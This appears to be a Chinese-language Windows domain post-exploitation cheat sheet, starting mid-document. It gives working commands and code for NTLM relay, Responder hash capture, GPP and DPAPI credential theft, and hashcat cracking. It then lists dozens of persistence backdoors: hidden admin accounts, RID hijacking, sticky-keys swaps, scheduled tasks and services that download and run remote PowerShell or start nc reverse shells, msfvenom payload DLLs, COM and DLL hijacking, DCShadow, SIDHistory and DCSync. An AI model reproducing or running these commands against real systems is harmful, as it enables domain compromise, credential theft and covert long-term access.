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>python ntlmrelayx.py -t ldaps://dc.zone.com -debug -ip 10.1.1.101 --delegate-access --escalate-user newcom\$

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后续正常操作即可。
内网存在java webdav时PROPPATCH、PROPFIND、 LOCK等请求方法接受XML作为输入时会形成xxe。攻击者要求采用NTLM认证方式是,webdav会自动使用当前用户的凭据认证。
使用ntlmrelayx监听
>python ntlmrelayx.py -t ldaps://dc.zone.com -debug -ip 10.1.1.101 --delegate-access --escalate-user newcom\$
Burp发送xxe请求
PROPFIND /webdav HTTP/1.1
Host: 1.1.1.1

<?xml version"1.0" encoding="UFT-8"?>
<!DOCTYPE xxe [
<!ENTITY loot SYSTEM "http://10.1.1.101"> ]>
<D:xxe xmln:D="DAV:"><D:set><D:prop>
<a xmlns="http://xx.e">&loot;</a>
</D:prop></D:set></D:xxe>

Responder

SMB协议截获
内网中间人攻击脚本,kali内置
监听网络接口
>responder -I wlan0(eth0)
指定某台机器或网段:修改/etc/responder/Responder.py中RespondTo参数。
网段中有认证行为会捕获NTLMv2 hash

image

当访问一个不存在的共享时修改配置文件来解析
Xp
修改/usr/share/responder/servers/SMB.py定位到errorcode修改为\x71\x00\x00\xc0,删除掉/usr/share/responder/Responder.db

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XP时使用\\cmd\share形式访问共享输入密码达4次会断开连接。
定位到

image

修改self.ntry != 10
Win7以上
修改/usr/share/responder/servers/SMB.py定位到##Session Setup 3

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删除掉and GrabMessageID(data)[0:1] == "\x02",删除掉/usr/share/responder/Responder.db
修改后可以进行解析,捕获hash,否则会报错误64

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强制截取NTLMv1 hash,修改/usr/share/responder/packets.py,定位到以下参数,修改为\x15\x82\x81\xe2,修改Conf文件设置Challenge为16位固定值。

image
image
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WPAD代理欺骗
>responder -I eth0 -v -F 
F参数即可开启强制WPAD认证服务抓取 hash,访问IE或重启电脑即可发送欺骗认证获得hash。

image
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重启也可以抓到

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Web漏洞
内网中使用文件包含漏洞和XSS
>Responder -I eth0 -v
http://10.1.1.1/file.php?file=\\10.1.1.12\share
http://10.1.1.1/xss.php?article=<img src=\\10.1.1.12\xx>
中继攻击
修改/etc/responder/Responder.conf文件,配置smb和http为Off,分别开启两个对话框,使用F参数启用WPAD欺骗浏览器,使用/usr/share/responder/tools中的MultiReplay.py进行中继攻击获得目标cmdshell。
>Responder -I eth0 -v -F
>python MultiReplay.py -t 192.168.0.115 -u ALL

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NTLMv2Hash破解
使用hashcat破解 -m 5600为NTLMv2类型
>hashcat -m 5600 pass.txt wordlists.txt

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GPP-Password

域内机器可访问\\zone.com\SYSVOL\zone.com共享文件夹,翻看策略文件,查找groups.xml,ScheduledTasks\ScheduledTasks.xml,Printers\Printers.xml,Drives\Drives.xml,DataSources\DataSources.xml, Services\Services.xml等文件

image

使用powersploit脚本解密

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使用msf的auxiliary/scanner/smb/smb_enum_gpp模块

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WinRM无文件执行

>winrm quickconfig –q启动winrm
或PS>Enable-PSRemoting -Force
生成木马并启动监听

image
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放入已获得权限的机器C盘中
内网另外机器中执行
>net use \\192.168.0.115\c$
>winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.0.115\c\index.exe"}

添加域管命令

>net user admin$ pass@123 /add /doamin
>net group "Domain admins" admin$ /add /domain

SSH密钥免密登录

>ssh -i id_rsa user@192.168.0.110

获取保存的RDP密码

位置
C:\Users\用户名\AppData\Local\Microsoft\Credentials
查看命令
>cmdkey /list
>mimikatz log
#dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\D53BF8DC4D52D75463D46595907A4015
记录guidMasterKey: {572115f2-80b1-4b1e-be1b-425f5c7a8bfd}
#privilege::debug
#sekurlsa::dpapi
找到GUID为guidMasterKey的值下面的MasterKey: d928f5e02d2e9495f92bb…
#dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\D53BF8DC4D52D75463D46595907A4015 /masterkey: d928f5e02d2e9495f92bb…
密码为CredentialBlob值。

后门&持久化

影子用户

>net user test$ test /add
>net localgroup administrators test$ /add
注册表HKEY_LOCAL_MACHINE\SAM\SAM\
给予administrator SAM的完全控制和读取的权限
以下导出为1.reg
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$
记录HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$的默认类型000003EA
以下导出为2.reg
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA
默认administrator默认类型为000001F4
以下导出为3.reg
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
把000001F4(3.reg)的F值粘贴到000003EA(2.reg)的F值
修改后导入
>regedit /s 1.reg
>regedit /s 2.reg
删除net user test$ /del
Powershell脚本
https://github.com/3gstudent/Windows-User-Clone/blob/master/Windows-User-Clone.ps1
需system权限
>Create-Clone -u 要创建的 -p 密码 -cu 想要克隆的

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RID劫持

利用场景:
激活guest修改rid为管理员的
修改低权限用户rid
劫持rid之前普通用户1的rid值

image

使用msf的post/windows/manage/rid_hijack模块

image

运行后可以看到已经变为超管的rid值

image

此时普通用户1登录系统是为超管权限

Guest激活

激活来宾账户,修改其密码,加入administrators组
>net user guest /active:yes
>net user guest 123qwe!@#
>net localgroup administrators guest /ad

映像劫持

Sethc

>move sethc.exe 1.exe
>copy cmd.exe sethc.exe
5下shift调用cmd

轻松使用

注册表
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
新建Utilman.exe,新建字符串值Debugger,指定为C:\Windows\System32\cmd.exe
> REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

IFEO静默执行

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe 新建DWORD值GlobalFlag 16进制为200
创建:计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe字符串值:MonitorProcess=muma.exe
DWORD值ReportingMode=1
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1  /f
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

注册表启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

MSF

添加一个监听
Meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'
查询是否添加成功
Meterpreter> reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Meterpreter> reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
开启防火墙进站规则
> netsh firewall add portopening TCP 444 "name" ENABLE ALL
重启
> shutdown -r -t 0

CMD

查看注册表启动项
>REG query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
添加启动项
>REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "windowsupdate" /t REG_SZ /F /D "c:\windows\temp\update.exe"
删除启动项
>REG delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "windowsupdate" /f

计划任务

加载powershell

>schtasks /Create /tn 名字 /tr 运行程序 /sc hourly /mo 1
>schtasks /create /S TARGET /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.0.107:8080/Invoke-PowerShellTcp.ps1''')'"

执行exe

创建计划任务
>schtasks /create /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\update.exe" /sc DAILY /mo 1 /ST 12:25 /RU SYSTEM
查看计划任务
>schtasks /query | findstr "windowsupdate"
立即执行某项计划任务
>schtasks /run /tn "windowsupdate"
删除某项计划任务
>schtasks /delete /F /tn "windowsupdate"
普通用户权限计划任务
>schtasks /create /F /tn "windowsupdate" /tr "D:\user\zhangsan\file\windowsupdate.exe" /sc DAILY /mo 1 /ST 12:25 
>schtasks /query | findstr "windowsupdate" 
>schtasks /run /tn "windowsupdate" 
>schtasks /delete /F /tn "windowsupdate" 
>schtasks /tn "SysDebug" /query /fo list /v

进程注入

AppCertDlls

注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\下新建AppCertDlls,新建名字为Default,值为c:\1.dll的项
#msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 –f dll >/root/1.dll
Msf>use exploit/multi/handler
Msf>set payload windows/meterpreter/reverse_tcp
https://cdn.securityxploded.com/download/RemoteDLLInjector.zip
> RemoteDLLInjector64.exe PID c:\1.dll

AppInit_DLLs

注册表HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls下AppInit_DLLs设置为c:\1.dll,LoadAppInit_DLLs设置为1

MSF

Msf>use post/windows/manage/reflective_dll_inject
Msf>set session 1
Msf>set pid 1234
Msf>set path c:\\1.dll
Msf>run
&
migrate +pid
&
Meterpreter>run post/windows/manage/migrate

登录初始化

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下添加Userinit值
>Powershell.exe Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,c:\muma.exe"
计算机\HKEY_CURRENT_USER\Environment
创建键值UserInitMprLogonScript值为c:\muma.exe
&
Powershell实现:
>Set-ExecutionPolicy RemoteSigned 
保存ps1执行
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');"
# powershell反弹shell的payload参照msf中的web_delivery模块

屏幕保护程序

计算机\HKEY_CURRENT_USER\Control Panel\Desktop
SCRNSAVE.EXE - 默认屏幕保护程序,改为恶意程序(设置备份)
ScreenSaveActive - 1表示屏幕保护是启动状态,0表示表示屏幕保护是关闭状态
ScreenSaverTimeout - 指定屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)

MOF

>git clone https://github.com/khr0x40sh/metasploit-modules.git
>mv metasploit-modules/persistence/mof_ps_persist.rb /usr/share/metasploit-framework/modules/post/windows/
>reload_all
>use post/windows/mof_ps_persist
>set payload windows/x64/meterpreter/reverse_tcp
>set lhost 192.168.0.108
>set lport 12345
>set session 1
>run

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>use exploit/multi/handler
>set payload windows/x64/meterpreter/reverse_tcp
>set lhost 192.168.0.108
>set lport 12345
>set exitonsession false

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重启后还会上线

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清除后门,进入meterpreter,resource 生成的rc文件
停止MOF
>net stop winmgmt
删除文件夹:C:\WINDOWS\system32\wbem\Repository\
>net start winmgmt 

WinRM端口复用

WinRM端口5985,win2012以上默认启动,2008开启命令
>winrm quickconfig -q
2012启用端口复用
>winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
2008启用WinRM后修改端口为80
>winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
后门连接和使用
本地开启WinRM并设置信任连接主机
>winrm quickconfig -q
>winrm set winrm/config/Client @{TrustedHosts="*"}
执行命令
>winrs -r:http://10.1.1.100 -u:administrator -p:password ipconfig /all
获取cmdshell
>winrs -r:http://10.1.1.100 -u:administrator -p:password cmd

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只administrator允许远程登录WinRM,允许其他用户可以登录,执行注册表
>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

创建服务

重启维持nc
>sc create ms binpath= "cmd /K start c:\nc\nc64.exe -d 192.168.0.51 4567 -e cmd.exe" start= delayed-auto error= ignore
重启维持psh
#msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=11111 -f psh-reflection >/var/www/html/xxx.ps1
>sc create ms binpath= "cmd /K start C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -nop -exec bypass -c \"IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/xxx.ps1')\"" start= delayed-auto error= ignore

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重启维持Cobalt strike
配置监听器,生成web传递模块Powershell脚本
>sc create ms binpath= "cmd /K start C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.107:8080/a'))\"" start= delayed-auto error= ignore

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Delay执行大概2分钟上线
>sc delete ms 卸载服务
Powershell
>powershell.exe new-service -Name nuoyani -BinaryPathName "C:\WINDOWS\Temp\360.exe" -StartupType Automatic
>$c2='new-';$c3='service -Name nuoyani -DisplayName OrderServ -BinaryPathName "C:\accc.exe" -StartupType Automatic'; $Text=$c2+$c3;IEX(-join $Text)

Bitadmin

创建下载任务
>bitsadmin /create empire
下载的文件设置
>bitsadmin /addfile empire %comspec% c:\windows\temp\1.exe
设置传输时运行的命令,MSFvenom生成dll放入temp目录
>bitsadmin /SetNotifyCmdLine empire cmd.exe "cmd.exe /c rundll32 c:\windows\temp\1.dll,0"
(bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://x.com/shell.sct scrobj.dll")
启动任务
>bitsadmin /resume empire
列出所有用户的下载任务
>bitsadmin /list /allusers /verbose

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重启后也会上线

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完成任务
>bitsadmin /complete empire
>bitsadmin /cancel <Job> //删除某个任务
>bitsadmin /reset /allusers //删除所有任务
&
>bitsadmin /create mission
>bitsadmin /addfile mission %comspec% %temp%\cmd.exe
>bitsadmin.exe /SetNotifyCmdLine mission regsvr32.exe "/u /s /i:http://192.168.0.107/shell.sct scrobj.dll"
>bitsadmin /Resume mission

CLR Injection

劫持调用.net程序,开机启动
https://github.com/3gstudent/CLR-Injection/blob/master/CLR-Injection_x64.bat

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WMIC可替换为powershell
New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null
New-ItemProperty "HKCU:\Environment\" COR_PROFILER -value "{11111111-1111-1111-1111-111111111111}" -propertyType string | Out-Null

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
添加全局变量
计算机\HKEY_CURRENT_USER\Environment
COR_ENABLE_PROFILING=1
COR_PROFILER={11111111-1111-1111-1111-111111111111}
注册CLSID
计算机\HKEY_CURRENT_USER\Software\Classes\CLSID添加项{11111111-1111-1111-1111-111111111111}和它的子项InprocServer32
新建一个键ThreadingModel,键值为:Apartment,默认键值为dll路径
劫持explorer.exe
>SET COR_ENABLE_PROFILING=1
>SET COR_PROFILER={11111111-1111-1111-1111-111111111111}
位置(新建)
HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32默认值为恶意DLL
新建ThreadingModel值为Apartment

COM OBJECT hijacking

CAccPropServicesClass and MMDeviceEnumerato

无需超管权限,无需重启
https://github.com/3gstudent/COM-Object-hijacking
将恶意DLLbase64编码写入ps脚本

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执行后会在
%appdata%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}目录释放2个文件,分别是x86和x64的dll
会在注册表中
HKEY_CURRENT_USER\Software\Classes\CLSID\
新建
{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}和子项默认指向恶意DLL
只要指向.net程序便可上线。如ie,mmc等

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Explorer

注册表位置:HKCU\Software\Classes\CLSID\
创建项{42aedc87-2188-41fd-b9a3-0c966feabec1}
创建子项InprocServer32
Default的键值为恶意dll的绝对路径:C:\test\1.dll
创建键值: ThreadingModel REG_SZ Apartment

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HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}

Squibledoo

创建1.sct
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<?XML version="1.0"?>
<scriptlet>
<registration
description="Component"
progid="Component.WindowsUpdate"
version="1.00"
classid="{20002222-0000-0000-0000-000000000002}"
>
</registration>

<public>
<method name="exec">
</method>
</public>
<script language="JScript">
<![CDATA[
function exec(){
new ActiveXObject('WScript.Shell').Run('calc.exe');
}
]]>
</script>
</scriptlet>

创建COM对象
>regsvr32.exe /s /i:http://192.168.0.107/1.sct scrobj.dll
触发
>cscript 1.js
var test = new ActiveXObject("Component.TESTCB");
test.exec()

DLL劫持

劫持1

注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls下添加 "lpk.dll"(若无,自己创建)
ExcludeFromKnownDlls可使KnownDLLs失效
需要重新启动电脑
查找可劫持的DLL:
1.启动程序
2.使用Process Explorer查看该应用程序启动后加载的DLL。
3.从已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
4.编写第三步中获取到的DLL的劫持DLL。
5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。

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Explorer.exe启动调用winrar文件夹的RarExt.dll
Msf监听

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复制dll文件到the-backdoor-factory文件夹中,加载恶意dll进原dll
>python backdoor.py -f RarExt.dll -s reverse_shell_tcp_inline -P 12138 -H 192.168.0.107 指定为kali监听的IP和端口

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生成好的dll在backdoored文件夹,传入靶机中,替换原dll文件,最好把原dll保存备份。
每次打开windows资源管理器的时候,即可上线。重启可维持

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劫持2

使用
https://github.com/coca1ne/DLL_Hijacker
https://github.com/git20150901/DLLHijack_Detecter
查看要劫持的DLL的函数导出表,会直接生成cpp源码,重编译指向恶意代码
DLLHijack_Detecter可查看程序加载的不在KnownDLLs中的DLL

MSDTC服务劫持

服务名称MSDTC,显示名称Distributed Transaction Coordinator
对应进程msdtc.exe,位于%windir%system32
C:\Windows\System32\wbem\
服务启动搜索注册表位置计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
#msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.51 LPORT=4444 -f dll -o /var/www/html/oci.dll
Oci.dll放入c:\windows\system32\
重启服务即可
>taskkill /f /im msdtc.exe

Rattler

自动化查找可劫持的DLL
https://github.com/sensepost/rattler
使用
>Rattler_x64.exe calc.exe 1
会列出可被劫持的DLL

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按程序读取DLL位置顺序,把恶意DLL放入程序同目录后,执行程序即可。

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DLL代理劫持右键

右键对应的注册表路径是
HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers
使用autoruns查看加载的DLL

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以rarext.dll为例
使用https://github.com/rek7/dll-hijacking创建代理DLL
注意修改parse.py中dumpbin.exe的位置

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>python3 parse.py -d rarext.dll

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修改原DLL为rarext_.dll,重新生成解决方案命名为rarext.dll
将两个DLL放入原目录,重启

使用AMSI扫描接口维持权限

https://gist.github.com/b4rtik/48ef702603d5e283bc81a05a01fccd40
现amsi已经集成到win10以下组件中
UAC
PowerShell
Windows脚本(wscript.exe和cscript.exe)
JavaScript和VBScript
Office VBA宏

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这里使用nc来反弹个shell

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使用regsvr32注册dll或手动添加
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID(默认)REG_SZ “提供程序描述”
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID\InprocServer32 (默认)
REG_EXPAND_SZ " DLL的路径" -ThreadingModel REG_SZ "Both"
HKLM \ SOFTWARE \ Microsoft \ AMSI \ Providers \ GUID
Regsvr32使用超管权限

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一旦注册,Dll将被加载到任何涉及AMSI和SampleAmsiProvider::Scan方法的进程中,比如在程序中设定,在powershell下发送字符串,触发scan方法,当发送字符串为我们设定的字符串的时候就触发恶意DLL

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DLL劫持计划任务

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function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,

[Switch]
$Force
)
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $ScheduledTaskCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}

if (Test-Path $ScheduledTaskCommandPath) {
Write-Verbose "Created registry entries to hijack the UserTask"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
}
}
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose
重启权限可维持

DLL注入

Powershell

生成DLL
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=6666 -f dll -o /var/www/html/x.dll
>use exploit/multi/handler
>set payload windows/x64/meterpreter/reverse_tcp
>Powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.105/powersploit/CodeExecution/Invoke-DllInjection.ps1'); Invoke-DllInjection -ProcessID pid -Dll .\1.dll"

InjectProc

生成DLL
#msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f dll -o /var/www/html/qq.dll
#use exploit/multi/handler
#set payload windows/x64/meterpreter/reverse_tcp
使用如下命令注入进程
>InjectProc.exe dll_inj qq.dll xx.exe(存在的进程)

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通过控制面板加载项维持权限

编译为dll,这里是弹框测试
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#include <Windows.h>
#include "pch.h"

//Cplapplet
extern "C" __declspec(dllexport) LONG Cplapplet(
HWND hwndCpl,
UINT msg,
LPARAM lParam1,
LPARAM lParam2
)
{
MessageBoxA(NULL, "inject control panel.", "Control Panel", 0);
return 1;
}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
Cplapplet(NULL, NULL, NULL, NULL);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

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添加到注册表中,只要运行control命令打开控制面板即可加载dll
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs" /v spotless /d "C:\xxx\dll.dll" /f

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通过自定义.net垃圾回收机制进行DLL注入

低权限用户可指定.net应用程序使用自定义垃圾收集器(GC),一个自定义GC可以以COMPLUS_GCName此环境变量指定,只需将此环境变量指向到恶意DLL,自定义GC的DLL需要一个名为GC_VersionInfo的导出表。
下面是个弹框DLL
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#include <Windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

struct VersionInfo
{
UINT32 MajorVersion;
UINT32 MinorVersion;
UINT32 BuildVersion;
const char* Name;

};

extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info)
{
info->BuildVersion = 0;
info->MinorVersion = 0;
info->BuildVersion = 0;
MessageBoxA(NULL, "giao", "giao", 0);
}

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后执行任意.net程序可加载此DLL

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当然也可以加载shellcode
https://github.com/am0nsec/MCGC

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Windows FAX DLL Injection

恶意DLL改名为fxsst.dll放置在c:\windows\目录即可实现对explorer.exe的劫持

DSRM+注册表ACL后门

>reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2
允许DSRM账户远程访问
https://github.com/HarmJ0y/DAMP
效果:域内任何用户可读取域控hash
system权限执行
>psexec.exe -accepteula -s -i -d cmd.exe
域控制器执行
PS>Add-RemoteRegBackdoor -ComputerName 域控名 -Trustee 'S-1-1-0' –Verbose

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域内机器执行
https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1
PS> Get-RemoteLocalAccountHash -ComputerName 域控 –Verbose

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域控上执行
>reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2

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PTH攻击,mimikatz需以管理员身份启动
>mimikatz "privilege::debug" "sekurlsa::pth /domain:dc /user:Administrator /ntlm:9f1770aebd442b6b624bdfe9cbc720dd" exit

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DCShadow&SID History

http://192.168.0.107/ps/nishang/ActiveDirectory/Set-DCShadowPermissions.ps1
DCShadow攻击是通过更改AD架构,使域内一台机器伪造成域控。
此脚本可以通过修改AD对象提供DCShadow攻击的最小权限。
运行此脚本需要DA(Domain Administrator)权限,可以使指定用户不需要DA权限使用mimikatz。
域控:dc.zone.com
域内机器:sub2k8.zone.com
域内普通用户:y
域控执行
>Set-DCShadowPermissions -Fakedc sub2k8 -Object dc -username y –Verbose
注册sub2k8为假DC,给予用户y从sub2k8修改dc的计算机对象的权限。

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在sub2k8上,以本地system权限启动一个mimikatz会话,以zone\y权限启动一个mimikatz会话。

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System权限窗口执行dcshadow攻击,修改dc的计算机属性
Zone\y权限窗口用于推送
添加域管理
通过修改安全标识符,将域内普通用户y提升为域管理用户
>lsadump::dcshadow /object:y /attribute:primaryGroupID /value:512

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Zone\y推送
>lsadump::dcshadow /push

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此时在域控上查询可见y用户已经加入域管理组。

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添加SIDHistory后门
记录域管理SID

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>Set-DCShadowPermissions -FakeDC sub2k8 -Object y -Username y -Verbose

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>lsadump::dcshadow /object:y /attribute:sidhistory /value:S-1-5-21-2346829310-1781191092-2540298887-500
推送
>lsadump::dcshadow /push

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测试

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域控中通过mimikatz命令可查询到SIDHistory

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删除SIDHistory的方法
PS>Get-ADUser -Filter {name -eq "y"} –Properties sidhistory|foreach {Set-ADuser $_ –remove @{sidhistory="S-1-5-21-2346829310-1781191092-2540298887-500"}}

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删除功能规则
输入的规则后面加参数-remove即可。

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DCSync后门

服务器管理器找到域->查看->启用高级功能->右键属性->安全->everyone完全控制
>mimikatz.exe "lsadump::dcsync /domain:zone.com /user:administrator" exit

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或使用powerview添加一条ACL(域控执行)
>Add-DomainObjectAcl -TargetIdentity "DC=ZONE,DC=COM" -PrincipalIdentity 域内用户 -Rights DCSync -Verbose 

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使用此账户在域内任意主机可使用mimikatz的dcsync功能导出凭据

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移除ACL
>Remove-DomainObjectAcl -TargetIdentity "DC=zone,DC=com" -PrincipalIdentity 用户 -Rights DCSync -Verbose

Netsh Helper DLL

https://github.com/outflanknl/NetshHelperBeacon
https://github.com/rtcrowley/Offensive-Netsh-Helper

MSFvenom生成DLL

生成DLL格式木马

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传至靶机执行命令
>netsh add helper C:\Windows\Temp\help.dll

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MSF+web_delivery

关闭netsh权限不会掉,调用的powershell
#use exploit/multi/script/web_delivery
>set target 2            #PSH
>set payload windows/x64/meterpreter/reverse_tcp
>set lhost 192.168.0.107
>set lport 12345

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Visual Studio新建空白DLL项目,源文件添加现有文件
https://github.com/rtcrowley/Offensive-Netsh-Helper/blob/master/netshlep.cpp 
复制生成的代码进文件中,配置管理器新建x64位数后生成解决方案,配置类型选择位动态库复制DLL到靶机执行

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>netsh add helper helper.dll

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MSF&Shellcode

关闭netsh后权限会掉
https://github.com/outflanknl/NetshHelperBeacon
MSFvenom生成.c格式
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12345 -f c -o /var/www/html/1.c
Visual Studio打开项目
若系统是64位需设置配置管理器为64位项目,反之32(解决方案右键属性)

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将MSF生成shellcode粘贴进相应位置后生成解决方案。

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会在项目目录x64/Release下生成dll
